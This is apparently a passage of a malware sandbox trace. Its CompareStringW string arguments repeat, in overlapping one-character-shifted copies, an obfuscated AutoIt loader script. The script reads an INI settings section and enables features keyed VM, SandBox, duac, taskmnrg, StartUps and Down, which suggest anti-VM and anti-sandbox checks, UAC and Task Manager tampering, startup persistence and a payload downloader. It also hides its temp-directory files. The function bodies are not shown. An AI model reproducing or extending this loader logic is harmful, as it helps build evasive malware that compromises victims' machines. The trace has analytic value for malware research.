Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4E", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.197] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.197] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.197] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.197] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, 